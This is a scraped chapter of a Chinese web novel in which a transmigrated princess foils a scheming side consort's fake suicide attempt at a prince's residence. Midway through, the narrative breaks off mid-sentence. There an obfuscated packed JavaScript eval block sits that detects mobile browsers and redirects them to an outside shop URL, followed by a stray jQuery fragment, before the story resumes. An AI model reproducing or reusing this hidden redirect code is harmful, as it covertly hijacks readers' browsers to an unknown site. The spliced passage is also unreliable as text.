文趣网 > 都市小说 > 顶号必死局的悲催公主 > 13. 闹剧
    慕王妃经过一瞬间的呆滞后,很快又恢复神色。

    慕王爷带着两人去到凉亭,桌上已经摆好茶水点心,慕王爷也坐在一旁怕王妃冲动,殷婉玲表示不用,她可以和王妃单独谈谈。

    刚开始还好好的,殷婉玲还和她有说有笑,甚至聊起了药王谷和一些草药的话题,试图迂回的打听她知不知道原身母妃的事情。

    结果很明显,王妃压根没听懂殷婉玲的暗示,说着说着,话题就偏了。

    开始絮絮叨叨的述说王爷不重视她,下面的人怎么漠视她,以前在药王谷怎么被人欺负,家里人也要她干这干那。

    和打听来的完全不一样,和原著里的那个女主也不太搭边,原著里那个女主可是十足明媚小太阳,无论是长辈还是同辈,当年的师门,王府的仆从,无一对她赞叹有佳。

    那么眼前这个,时而癫狂的人,还是原著里那个人吗?

    殷婉玲之前也问过系统,系统也信誓旦旦的说他一直监视着,绝无换人可能。

    殷婉玲见过形形色色的人和鬼,像女主这种类型的,她也见过。

    大概是那种需要全世界都围着她转,需求无人理会就撒泼打滚,为达目的不择手段,甚至为了自己一点微不足道的利益坑害别人。

    所谓的端方大度,都是在比自己的上位者之前的演出。

    王妃看自己卖惨,明珠公主开始不接茬后,表情开始明显不悦了。

    渐渐地,王妃又开始那副真实的嘴脸。

    笃定殷婉玲对她不会做出什么,她开始口出狂言:

    “男女授受不亲。公主没出阁的姑娘整天和未婚夫走的太近成何体统,整天一起出门成双入对的,不仅对公主名声有损,对准驸马也不好。”

    殷婉玲只是在一旁喝着茶,想听听王妃还会说出什么惊世骇俗之言。

    王妃果然越说越过分,开始说公主不守女德,要不是出身皇家在民间就要去浸猪笼了,给人当个妾都是开恩云云,殷婉玲憋着一股火,在她说出更离谱的话之前打断:

    “按王妃这般说辞,你如此深爱王爷,等王爷取了正妃后,你岂不是要日日服侍人家夫妻。对正妃娘娘马首是瞻,打不还手,骂不还口?”

    这番话殷婉玲自认为已经足够温和,没想到直接把对面的脾气直接点燃。

    “王爷他敢?说好和我一双一世一双人的,就是我身份不够高才让我当侧妃,我就是这府里的正头娘娘,谁敢说一个不字,就算是王妃我也要轰出府去,王爷都说了这府里我说的算。”

    殷婉玲继续循循善诱:

    “这可说不好啊侧妃娘娘,慕王可是当今皇后所出,身份如此贵重,您能入府当侧妃也是因为王爷特别喜欢你才开恩的,若是你真的得罪了以后王爷的正妃娘娘,你的家人和以前的师门同仁怎么办?因为你脾气上头一起遭罪?”

    侧妃一听这话,满不在乎的把茶盏打翻在地,趾高气昂叉着腰回复到:

    “家人?同门?我没有那种东西,自从他们不把我当回事之后什么下场都与我无关了,谁让他们不重视我的需求,不重视我的人都该死,我能顺利嫁给王爷,是我的本事,明珠公主,你且看好了,这就是睥睨天下的格局,迟早有一天我会陪着王爷走上那个位置,成为至高无上的人,没有人再能轻视我……”

    现在皇帝还没立储呢,说这么大逆不道的话是嫌她家王爷死的不够快吗?殷婉玲赶紧一个弹射起身,把一块干噎的糕点塞进她嘴里

    “哎呦王妃娘娘,东西能乱吃话可不能乱说啊”殷婉玲环顾四周,确认四下无人,倒满一杯茶递到她嘴边给她顺下去。

    当殷婉玲以为这样就能堵住这张满嘴恶毒发言的人时,事实往往更荒诞。

    王妃在殷婉玲好心帮她顺好气,堵住那个乱说话的嘴,可是王妃缓过来后,忽然大声的喊来人来人,快来收拾这些碎片。

    可是现在哪有碎片?只见王妃把桌子上的碟子扫落一地,精致的点心在地上碎成了渣。

    浪费可耻啊,殷婉玲虽然心疼这些点心,可是已经碎成闸还混着瓷器碎片,看来是不能直接上手捡了。

    殷婉玲看了眼碎掉的碟子,感觉是外面小摊上卖的最便宜的几文钱一个的瓷器,看来连王爷也快供不起这个整天拿物品撒气的疯子了,大概是因为剧情影响或者是王爷本来也是这样的人,就这样还爱的死去活来的。

    可是王妃身边的丫鬟仆役早就让王爷撤走了。就怕她又情绪激动折磨他们,见喊不来人,只见王妃正打算把脚往碎片处擦过准备给自己弄伤,殷婉玲马上反应过来她要干什么,赶紧把她一把抱起来远离了一地的瓷片。

    虽然侧妃在殷婉玲怀里不停的挣扎,可论力气还不是殷婉玲的对手,此时殷婉玲心生一计,虽然可能只管用一段时间,可是让这个王府暂时平静几日也能算大功一件,还能在慕王这里捞点好处,何乐而不为?

    殷婉玲就这样直直的死死把人揽住,往旁边目测直到人腰间的荷花池走去。

    此时侧妃收剑了那副要与全天下人作对的嘴脸,瞬间慌乱:

    “大胆!你要把本宫带向何处?放我下来!救命啊……”

    殷婉玲加快脚步,把侧妃摁在荷花池边,做出一个她要跳湖但是自己死命要拉住她的姿势。

    侧妃哪见过这阵仗,作为顶级绿茶白莲花黑月光的她从来只有她冤枉别人,把眼里的敌人往死里整的份。这种光靠蛮力把她死死钳住,一个多余的动作也做不出,这回是彻底让她慌了神,用自己最大的音量拼命喊到:

    “杀人啦!杀人啦!明珠公主要杀我,快来人啊!王爷!王爷快救我!”

    远处陆陆续续想起了奔跑过来的脚步声,殷婉玲看准时机,戏瘾上头。喊得比侧妃还要高一个八度:

    “侧妃娘娘!侧妃娘娘!你莫要想不开就要跳湖啊,你真要跳慕王他怎么办啊?他爱你爱的如此深沉!你就忍心这么离他而去吗?别怕,我来救你!拼了这条命也要救你上来,您可千万别这么想不开啊!”

    殷婉玲的声音完美覆盖了侧妃的音量,侧妃是喊又喊不过,挣又挣脱不开,试图挣扎手脚又动弹不得,别提多难受了。

    匆匆赶来的慕王和仆役看到的就是这一幕:

    王妃企图跳湖,明珠公主拼命拉住她才没让人真的掉下去。

    其实慕王和满院仆从都知道,这水很浅淹不死人,又是王妃想出来折腾人或者说冤枉人的法子,只要她卖惨,无论是谁,慕王爷都会重罚对面,已经有不少丫鬟遭了殃,特别是府里长的漂亮的,慕王爷罚了几个才明白怎么回事,好歹还算心善人,跟侧妃说必定重罚,其实就是让院里的嬷嬷用板子打了几下手心,送去别院或者母后宫里去了,因为每次调查出来几个丫鬟都没有犯什么大错,只是侧妃看她们不顺眼罢了。

    王爷也没让侧妃知晓他对这些丫鬟最后轻轻放过了,不然也不知道要闹腾出什么事来呢。

    至于院子里那些各色

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880616|212328||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好看的小厮,侧妃爱看多看几眼也不算事,管家也立下规矩,只许让他们给侧妃远观,绝不可近身,否则就发卖出府去,去什么地方自己清楚。

    这些小厮刚来第一天就见识了侧妃的疯劲,个个都离得远远的,最多只让王妃看个侧脸,可是王妃喊他们过去都不去也没有真的罚他们,每一个都是轻轻放过了。

    傅文清埋在慕王府的暗线会定时的传递消息,因此殷婉玲也知道这个侧妃有多双标至极,对丫鬟无尽打压,对小厮从不为难。

    见慕王爷靠近,殷婉玲毫不犹豫的把侧妃一拉,直接把人往慕王怀里一丢,侧妃还没来得及和慕王告状呢,殷婉玲马上就哎呦一声:

    “好痛,本宫脚刚才为了救侧妃扭了,手也扭了,好痛,皇兄,我救下了侧妃,还伤到了,你总得让我找府医看看吧。”

    慕王保持着抱着人的姿势,赶紧道:

    “对对对,妹妹此番无辜受累,本王自然要好好补偿一番,两个丫鬟上前,一左一右扶着殷婉玲往旁边的客卧走去,一个小厮赶忙去请府医了。”

    两个丫鬟正是之前傅文清买通的暗线,扶着殷婉玲坐下的时候,两人长长的叹了口气:

    “多谢公主给咱们府里上上下下出了口气,咱这整个府里之前是年轻的丫鬟全部被侧妃送走了,后来还是皇后娘娘开口把人全撤了全换成老嬷嬷成何体统才让奴婢们重新回来。其实大家觉得撤走还好,这个侧妃娘娘折腾人的招数可多了都快赶上慎刑司的嬷嬷了,好在王爷发现的早说是皇后娘娘派来的人岂能被侧妃娘娘如此磋磨,表面上是免了皮肉之苦,可是精神攻击侧妃娘娘也是一等一的好手,几个姐妹差点折磨疯了,好在被王爷调走了,咱们是在偏院打扫的长相也一般,不是那种在侧妃眼里能勾引王爷的脸,可是侧妃每天都会派小厮把偏院搞得特别脏让咱们打扫,还试图让小厮轻薄咱们好把我们赶出府去,同是女人怎么就这么恶毒呢?好在送进来的小厮都被管家和王爷盯得死死的没真的对咱们动手动脚,只是搞脏了院子让咱们单纯打扫就很好了。”

    殷婉玲轻轻拍了拍她们两个的肩,给她们各塞了一袋装的满满的碎银子:

    “这段时间辛苦二位了,在坚持一段时间等下次宫宴我想办法让你们来公主府,在这之前还要辛苦你们在坚持一段时间。”

    说罢,拿出两瓶上好的药膏和无味的手霜给她们:

    “干粗活难免辛苦,这算本宫一点心意”

    两个丫鬟还想推辞,只见外面通传府医到了,只好赶紧收起来,恭敬站在一旁。

    府医进来检查了一番,见只是擦伤就拿出了一点药粉:

    “公主并无大碍,只是一点轻微皮外伤,敷上两三日就见好了”

    殷婉玲回府的时候,带着满满一车慕王的赔礼,还有让府里的人在她出慕王府的时候恰到好处的散布开慕王侧妃因情所困试图跳荷花池,她见义勇为救人的故事。

    不到一天,这个美谈就传遍了京城大街小巷。

    慕王自觉丢脸,让侧妃安生几天先别出门了。

    侧妃很久都没有被人这么阴一道了,倒是安生了几天,一直在思考怎么报复回去。

    她忽然想到一个点,那天的明珠公主,和以前见的似乎有很大的不同……

    而安王那边得知这个消息的时候手里正把玩着新到的串珠,一般盘珠子一边对新来的谋士说:

    “本王的皇姐和皇兄那位侧妃,可是都有趣的紧呢。”